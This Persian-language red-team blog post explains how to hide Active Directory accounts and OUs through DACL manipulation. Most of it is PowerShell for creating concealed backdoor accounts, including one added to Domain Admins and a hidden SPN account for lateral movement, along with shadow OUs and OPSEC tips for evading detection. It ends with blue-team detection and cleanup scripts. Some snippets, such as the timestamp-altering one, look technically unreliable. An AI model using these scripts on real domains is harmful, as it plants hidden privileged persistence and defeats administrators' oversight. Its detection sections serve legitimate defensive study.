VulnCity

تکنیک Active Directory Stealth: ایجاد کاربر مخفی با دستکاری DACL

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۹

تکنیک Active Directory Stealth: ایجاد اشیاء مخفی با دستکاری DACL

مقدمه

این تکنیک از معماری Security Descriptor در Active Directory برای ایجاد اشیاء مخفی استفاده می‌کند که در برابر ابزارهای enumeration استاندارد نامرئی باقی می‌مانند اما همچنان عملکرد خود را حفظ می‌کنند. با دستکاری permissions در DACL، مهاجمان می‌توانند backdoor account های persistent ایجاد کنند که از detection فرار می‌کنند.

مفاهیم پایه

اجزای Security Descriptor (SD)

هر object در Active Directory دارای یک Security Descriptor است که شامل موارد زیر می‌شود:

1. DACL (Discretionary Access Control List)

  • هدف: Access Authorization (AA)
  • سوال اصلی: "چه کسی می‌تواند چه کاری انجام دهد؟"
  • کنترل‌ها: Read, Write, Delete, Modify permissions
  • مثال: "Domain Users می‌توانند این object را بخوانند"

2. SACL (System Access Control List)

  • هدف: Auditing (A)
  • سوال اصلی: "چه اقداماتی باید log شوند؟"
  • کنترل‌ها: Success/Failure audit events
  • مثال: "تمام تلاش‌های ناموفق دسترسی به این object را log کن"

پیاده‌سازی تکنیک

مرحله 1: ایجاد Hidden User و OU

این script یک OU و user محدود شده ایجاد می‌کند که برای همه invisible است:

Import-Module ActiveDirectory

$OUName = "RestrictedOU"; $UserName = "RestrictedUser"
$DomainDN = (Get-ADDomain).DistinguishedName

$Everyone = [System.Security.Principal.NTAccount]"Everyone"

# ایجاد OU
New-ADOrganizationalUnit -Name $OUName -Path $DomainDN -ErrorAction SilentlyContinue
$OUPath = "OU=$OUName,$DomainDN"

# ایجاد User
New-ADUser -Name $UserName -Path $OUPath `
    -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) `
    -Enabled $true -ErrorAction SilentlyContinue
$UserDN = (Get-ADUser $UserName).DistinguishedName

# تغییر Owner به خود User
$uAcl = Get-Acl "AD:\$UserDN"
$uAcl.SetOwner([System.Security.Principal.NTAccount]$UserName)

# اضافه کردن Deny Rule برای Everyone
$uRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "GenericAll", "Deny")
$uAcl.AddAccessRule($uRule)
Set-Acl "AD:\$UserDN" $uAcl

# محدود کردن ListChildren برای OU
$oAcl = Get-Acl "AD:\$OUPath"
$oRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ListChildren", "Deny")
$oAcl.AddAccessRule($oRule)
Set-Acl "AD:\$OUPath" $oAcl

Write-Host "Done successfully."

چگونگی عملکرد:

  • Owner Change: تغییر مالکیت object به خود user باعث می‌شود حتی Domain Admins نتوانند به راحتی آن را ببینند
  • Deny GenericAll: مسدود کردن تمام دسترسی‌ها برای Everyone (شامل Domain Admins)
  • Deny ListChildren: مخفی کردن محتویات OU از enumeration tools

نتیجه:

User و OU ایجاد شده در ابزارهای استاندارد مانند Active Directory Users and Computers، PowerView، یا BloodHound نمایش داده نمی‌شوند، اما همچنان قابل استفاده برای authentication هستند.

کاربردهای عملیاتی

1. Persistent Backdoor Account

# ایجاد backdoor admin با DACL manipulation
$BackdoorUser = "svc-backup"
New-ADUser -Name $BackdoorUser -Path $OUPath `
    -AccountPassword (ConvertTo-SecureString "ComplexP@ss123!" -AsPlainText -Force) `
    -Enabled $true

# اضافه کردن به Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members $BackdoorUser

# مخفی کردن با Deny ACL
$acl = Get-Acl "AD:\CN=$BackdoorUser,$OUPath"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "GenericAll", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\CN=$BackdoorUser,$OUPath" $acl

2. Hidden Service Account برای Lateral Movement

# ایجاد service account مخفی با SPN
$ServiceUser = "svc-sql-backup"
New-ADUser -Name $ServiceUser -Path $OUPath `
    -ServicePrincipalNames "MSSQLSvc/db01.domain.local:1433" `
    -AccountPassword (ConvertTo-SecureString "ServiceP@ss!" -AsPlainText -Force) `
    -Enabled $true

# Kerberoasting resistant - مخفی از BloodHound
$acl = Get-Acl "AD:\CN=$ServiceUser,$OUPath"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ReadProperty", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\CN=$ServiceUser,$OUPath" $acl

3. Shadow OU برای Persistence

# ایجاد OU مخفی برای ذخیره backdoor objects
$ShadowOU = "CN=System,CN=Configuration"
New-ADOrganizationalUnit -Name "LegacyServices" -Path $ShadowOU

# مخفی کردن از enumeration
$acl = Get-Acl "AD:\OU=LegacyServices,$ShadowOU"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ListChildren", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\OU=LegacyServices,$ShadowOU" $acl

Detection Evasion

چرا این تکنیک موثر است؟

  • Enumeration Tools Bypass: ابزارهایی مانند PowerView، BloodHound، و ADExplorer نمی‌توانند objects را ببینند
  • LDAP Query Evasion: حتی LDAP queries مستقیم نیز به دلیل Deny ACL شکست می‌خورند
  • Legitimate Mechanism: استفاده از قابلیت‌های native AD - هیچ malware یا exploit نیست
  • Audit Log Minimal: تغییرات ACL معمولاً به طور پیش‌فرض audit نمی‌شوند

مثال: تست Invisibility

# تلاش برای یافتن hidden user با PowerView
Get-DomainUser -Identity "RestrictedUser"
# نتیجه: هیچ چیز پیدا نمی‌شود

# تلاش با LDAP query
Get-ADUser -Filter {Name -eq "RestrictedUser"}
# نتیجه: Access Denied

# اما authentication همچنان کار می‌کند
$cred = Get-Credential -UserName "DOMAIN\RestrictedUser"
# موفق!

Incident Response و Remediation

شناسایی Hidden Objects

برای یافتن objects با Deny ACL های مشکوک:

# جستجوی objects با Deny rules غیرمعمول
$DomainDN = (Get-ADDomain).DistinguishedName
Get-ADObject -Filter * -SearchBase $DomainDN -Properties nTSecurityDescriptor | ForEach-Object {
    $acl = $_.nTSecurityDescriptor.Access
    $denyRules = $acl | Where-Object {$_.AccessControlType -eq "Deny" -and $_.IdentityReference -eq "Everyone"}
    if ($denyRules) {
        [PSCustomObject]@{
            Object = $_.DistinguishedName
            DenyRules = $denyRules.Count
        }
    }
}

حذف Hidden User

برای حذف user مخفی، باید از Distinguished Name دقیق استفاده کنید:

# باید از DN صریح استفاده شود
$UserDN = "CN=RestrictedUser,OU=RestrictedOU,DC=certipied,DC=local"

# گرفتن Ownership به عنوان Domain Admin
$acl = Get-Acl "AD:\$UserDN"
$acl.SetOwner([System.Security.Principal.NTAccount]"CERTIPIED\Administrator")
Set-Acl "AD:\$UserDN" $acl

# حذف Deny rules
$acl = Get-Acl "AD:\$UserDN"
$acl.Access | Where-Object {$_.AccessControlType -eq "Deny"} | ForEach-Object {
    $acl.RemoveAccessRule($_)
}
Set-Acl "AD:\$UserDN" $acl

# حذف user
Remove-ADUser -Identity $UserDN -Confirm:$false

حذف Hidden OU

$OUDN = "OU=RestrictedOU,DC=certipied,DC=local"

# اصلاح permissions OU
$acl = Get-Acl "AD:\$OUDN"
$acl.Access | Where-Object {$_.AccessControlType -eq "Deny"} | ForEach-Object {
    $acl.RemoveAccessRule($_)
}
Set-Acl "AD:\$OUDN" $acl

# حذف OU (باید خالی باشد)
Remove-ADOrganizationalUnit -Identity $OUDN -Confirm:$false

Script جامع Cleanup:

# پاکسازی کامل تمام hidden objects
function Remove-HiddenADObjects {
    param([string]$SearchBase)
    
    # یافتن تمام objects با Deny ACL
    $hiddenObjects = Get-ADObject -Filter * -SearchBase $SearchBase -Properties nTSecurityDescriptor | 
        Where-Object {
            $_.nTSecurityDescriptor.Access | 
            Where-Object {$_.AccessControlType -eq "Deny" -and $_.IdentityReference -eq "Everyone"}
        }
    
    foreach ($obj in $hiddenObjects) {
        Write-Host "Processing: $($obj.DistinguishedName)"
        
        # گرفتن ownership
        $acl = Get-Acl "AD:\$($obj.DistinguishedName)"
        $acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERDOMAIN\Administrator")
        Set-Acl "AD:\$($obj.DistinguishedName)" $acl
        
        # حذف Deny rules
        $acl = Get-Acl "AD:\$($obj.DistinguishedName)"
        $acl.Access | Where-Object {$_.AccessControlType -eq "Deny"} | ForEach-Object {
            $acl.RemoveAccessRule($_) | Out-Null
        }
        Set-Acl "AD:\$($obj.DistinguishedName)" $acl
        
        # حذف object
        Remove-ADObject -Identity $obj.DistinguishedName -Confirm:$false -Recursive
    }
}

# اجرا
Remove-HiddenADObjects -SearchBase (Get-ADDomain).DistinguishedName

Detection برای Blue Team

Monitoring Strategies:

1. ACL Change Auditing

# فعال‌سازی auditing برای ACL changes
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable

# بررسی Event ID 5136 (Directory Service Changes)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5136} | 
    Where-Object {$_.Message -like "*nTSecurityDescriptor*"}

2. Baseline ACL Monitoring

# ایجاد baseline از ACL های normal
$baseline = @{}
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
    $baseline[$_.DistinguishedName] = $_.nTSecurityDescriptor.Sddl
}

# مقایسه با baseline
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
    $current = $_.nTSecurityDescriptor.Sddl
    if ($baseline[$_.DistinguishedName] -ne $current) {
        Write-Warning "ACL changed: $($_.DistinguishedName)"
    }
}

3. Deny ACL Detection

# جستجوی روزانه برای Deny ACL های مشکوک
$suspiciousACLs = Get-ADObject -Filter * -Properties nTSecurityDescriptor | 
    Where-Object {
        $_.nTSecurityDescriptor.Access | 
        Where-Object {
            $_.AccessControlType -eq "Deny" -and 
            ($_.IdentityReference -eq "Everyone" -or $_.IdentityReference -eq "Domain Users")
        }
    }

if ($suspiciousACLs) {
    Send-MailMessage -To "soc@company.com" -Subject "Suspicious Deny ACLs Detected" `
        -Body ($suspiciousACLs | Out-String)
}

Indicators of Compromise:

  • Objects با Deny ACL برای Everyone یا Domain Users
  • تغییرات Owner به non-admin accounts
  • OU های جدید در مسیرهای غیرمعمول (مانند CN=System)
  • Users با SPN اما invisible در enumeration
  • Authentication موفق از accounts که در LDAP queries یافت نمی‌شوند

تکنیک‌های پیشرفته

1. Selective Visibility

به جای مخفی کردن کامل، فقط برای گروه‌های خاص visible باشید:

# مخفی از همه به جز یک گروه خاص
$SpecialGroup = [System.Security.Principal.NTAccount]"DOMAIN\RedTeamOps"
$Everyone = [System.Security.Principal.NTAccount]"Everyone"

$acl = Get-Acl "AD:\$UserDN"

# Deny برای Everyone
$denyRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "GenericAll", "Deny")
$acl.AddAccessRule($denyRule)

# Allow برای گروه خاص (با priority بالاتر)
$allowRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($SpecialGroup, "GenericAll", "Allow")
$acl.AddAccessRule($allowRule)

Set-Acl "AD:\$UserDN" $acl

2. Timestomping ACL Changes

# تغییر timestamps برای مخفی کردن زمان modification
$obj = Get-ADObject -Identity $UserDN -Properties whenChanged, whenCreated
$obj.whenChanged = (Get-Date).AddDays(-365)
Set-ADObject -Instance $obj

3. Nested Hidden OUs

# ایجاد ساختار چند لایه برای stealth بیشتر
$Layer1 = "OU=System Objects,$DomainDN"
$Layer2 = "OU=Legacy,$Layer1"
$Layer3 = "OU=Archived,$Layer2"

# هر لایه را مخفی کنید
foreach ($ou in @($Layer1, $Layer2, $Layer3)) {
    $acl = Get-Acl "AD:\$ou"
    $rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ListChildren", "Deny")
    $acl.AddAccessRule($rule)
    Set-Acl "AD:\$ou" $acl
}

OPSEC Considerations

نکات مهم:

  • Timing: تغییرات ACL را در ساعات کاری انجام دهید تا کمتر مشکوک باشد
  • Naming: از نام‌های legitimate مانند "svc-backup" یا "admin-temp" استفاده کنید
  • Location: objects را در OU های پرازدحام قرار دهید، نه OU های خالی
  • Gradual Changes: تغییرات را به صورت تدریجی اعمال کنید، نه یکباره
  • Backup Access: همیشه یک روش alternative برای دسترسی داشته باشید

محدودیت‌ها:

  • Domain Admins با دسترسی مستقیم به database می‌توانند objects را ببینند
  • Replication logs ممکن است تغییرات را نشان دهند
  • Backup و restore operations می‌توانند objects را آشکار کنند
  • Advanced threat hunting tools ممکن است anomaly را تشخیص دهند

نتیجه‌گیری

تکنیک Active Directory Stealth با استفاده از DACL manipulation یکی از قدرتمندترین روش‌های persistence و evasion در محیط‌های Windows است. این تکنیک از قابلیت‌های native AD استفاده می‌کند و هیچ malware یا exploit خاصی نیاز ندارد، که آن را به یک Living Off The Land (LOTL) technique تبدیل می‌کند.

برای تیم‌های Red Team، درک عمیق از Security Descriptors و ACL manipulation امکان ایجاد backdoor های بسیار stealth را فراهم می‌کند. برای تیم‌های Blue Team، monitoring مداوم ACL changes و پیاده‌سازی baseline auditing برای شناسایی این تکنیک‌ها ضروری است.